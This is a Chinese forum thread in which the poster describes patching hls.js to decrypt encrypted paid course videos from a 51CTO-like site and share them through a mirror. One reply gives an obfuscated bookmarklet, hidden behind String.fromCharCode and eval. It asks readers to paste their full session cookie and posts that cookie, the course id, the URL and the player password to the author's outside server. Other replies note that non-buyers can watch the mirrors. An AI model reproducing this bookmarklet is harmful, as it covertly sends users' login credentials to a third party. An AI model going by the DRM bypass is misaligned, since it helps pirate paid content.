evlon 发表于 2022-9-15 08:45

修改hls.js增加播放某CTO视频的方法

0x01, 背景
   许多网站视频,都使用了Aliplayer, 比如某CTO的课程,在会员到期之前把视频下载下来,以后就可以慢慢看了。
0x02, 分析
   目前接触到的视频加密,有2种(孤陋寡闻,莫喷),1) 采用AES算法的ECB模式,对TS加密。 2)采用 AES算法的ECB(16位)对 PES 载荷进行加密。
0x03, 解决方案
   看网上都是分析加密后的js脚本,如 aliplayer-min.js, aliplayer-vod.js, aliplay-hls.js,然后修改。 我采用了不用的方案,直接在 hls.js 开源项目上修改。
0x04, 成果
   支持了两个 m3u8 的 method, 分别是AES-128-ECB,AES-128-PES。 示例:
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-ALLOW-CACHE:YES
#EXT-X-TARGETDURATION:6
#EXT-X-KEY:METHOD=AES-128-PES,URI="https://some.domain.com/p/3962b56cdd7adf6e96a15583fd35715e61f2f220ceefc0e596705ac6d7284a5e4597e62cf3731560a5ac7595d3d368d5f670e8a60a99b925c24aeb988eb0c3f1"
#EXT-X-MEDIA-SEQUENCE:0

0x05,体验
https://evlon.gitee.io/ctos/#19124

0x06, 附源码地址

[*]https://github.com/evlon/hls.js


evlon 发表于 2022-9-30 15:31

evlon 发表于 2022-9-16 22:22
如下图:

看到许多不成功的日志。

不能用 document.cookie 来取, 因为取不到 httponly 的Cookie。

正确的取Cookie的方法,见图片。

evlon 发表于 2022-9-17 16:41

mindream 发表于 2022-9-17 14:36
搞懂了,这个是必须要买了课程之后,然后镜像备份一份随时观看是吧?视频是不能下载的

是的。

不过如果别人已经镜像备份过了,你没有购买也可以看到别人的备份地址。 然后相当于你白嫖了。

evlon 发表于 2022-9-16 22:15

添加一下脚本到浏览器收藏夹, 然后再播放页面点击一下,填写从开发者工具的网络中抓出来的Cookie。就可以备份视频了。

javascript:!function(){eval(String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,102,117,110,99,116,105,111,110,32,111,40,41,123,108,101,116,32,111,44,101,61,47,92,47,99,101,110,116,101,114,92,47,99,111,117,114,115,101,92,47,108,101,115,115,111,110,92,47,105,110,100,101,120,92,63,105,100,61,40,92,100,43,41,47,46,101,120,101,99,40,108,111,99,97,116,105,111,110,46,104,114,101,102,41,59,105,102,40,101,38,38,40,111,61,95,99,111,117,114,115,101,95,105,100,41,44,33,111,41,114,101,116,117,114,110,32,118,111,105,100,32,97,108,101,114,116,40,34,25214,19981,21040,23398,31185,21644,35838,31243,26631,24535,44,30830,35748,24744,22312,25773,25918,39029,38754,65311,34,41,59,108,101,116,32,116,61,112,114,111,109,112,116,40,34,35831,25968,25454,23436,25972,30340,67,111,111,107,105,101,40,25552,31034,65306,24320,21457,32773,24037,20855,20013,33719,21462,41,58,34,41,59,105,102,40,116,41,123,108,101,116,32,101,61,123,116,111,107,101,110,58,116,44,99,111,117,114,115,101,105,100,58,111,44,117,114,108,58,108,111,99,97,116,105,111,110,46,104,114,101,102,44,112,119,100,58,116,111,112,46,95,112,108,97,121,101,114,95,109,51,117,56,95,112,119,100,124,124,34,34,125,59,36,46,112,111,115,116,40,34,104,116,116,112,115,58,47,47,104,119,46,112,48,113,46,116,111,112,47,99,116,111,47,115,110,97,112,34,44,101,44,111,61,62,123,99,111,110,115,111,108,101,46,108,111,103,40,111,41,44,99,111,110,102,105,114,109,40,96,36,123,111,46,109,115,103,125,44,32,25773,25918,22320,22336,65306,36,123,111,46,112,108,97,121,101,114,125,96,41,38,38,119,105,110,100,111,119,46,111,112,101,110,40,111,46,112,108,97,121,101,114,44,34,95,98,108,97,110,107,34,41,125,41,125,125,34,101,100,117,46,53,49,99,116,111,46,99,111,109,34,61,61,61,108,111,99,97,116,105,111,110,46,104,111,115,116,63,111,40,41,58,97,108,101,114,116,40,34,35831,22312,27491,30830,30340,32593,31449,25191,34892,33050,26412,34,41,125,41,40,41,59))}()

evlon 发表于 2022-9-16 22:22

evlon 发表于 2022-9-16 22:15
添加一下脚本到浏览器收藏夹, 然后再播放页面点击一下,填写从开发者工具的网络中抓出来的Cookie。就可以 ...
如下图:

轩辕剑syz 发表于 2022-9-17 12:36

mindream 发表于 2022-9-17 14:36

搞懂了,这个是必须要买了课程之后,然后镜像备份一份随时观看是吧?视频是不能下载的

52pojiemd5 发表于 2022-9-19 09:20

{:1_908:}老哥,你这个备份是备份到你的网址上https://evlon.gitee.io去把,我是想把你这个视频上的视频download成本地mp4存着看呢

52pojiemd5 发表于 2022-9-20 14:38

哥,有之前web安全深度解析视频的那个教程的资料下载嘛,差个资料了

evlon 发表于 2022-9-20 14:57

52pojiemd5 发表于 2022-9-20 14:38
哥,有之前web安全深度解析视频的那个教程的资料下载嘛,差个资料了

对不起呢, 没有的。

52pojiemd5 发表于 2022-9-20 18:18

evlon 发表于 2022-9-20 14:57
对不起呢, 没有的。

https://evlon.gitee.io 这个网站怎么可以搜到其它的视频,只能是你给我链接吗?
帮忙看看有没有:https://edu.51cto.com/course/17443.html 这个,有的话我开个悬赏给你
页: [1] 2
查看完整版本: 修改hls.js增加播放某CTO视频的方法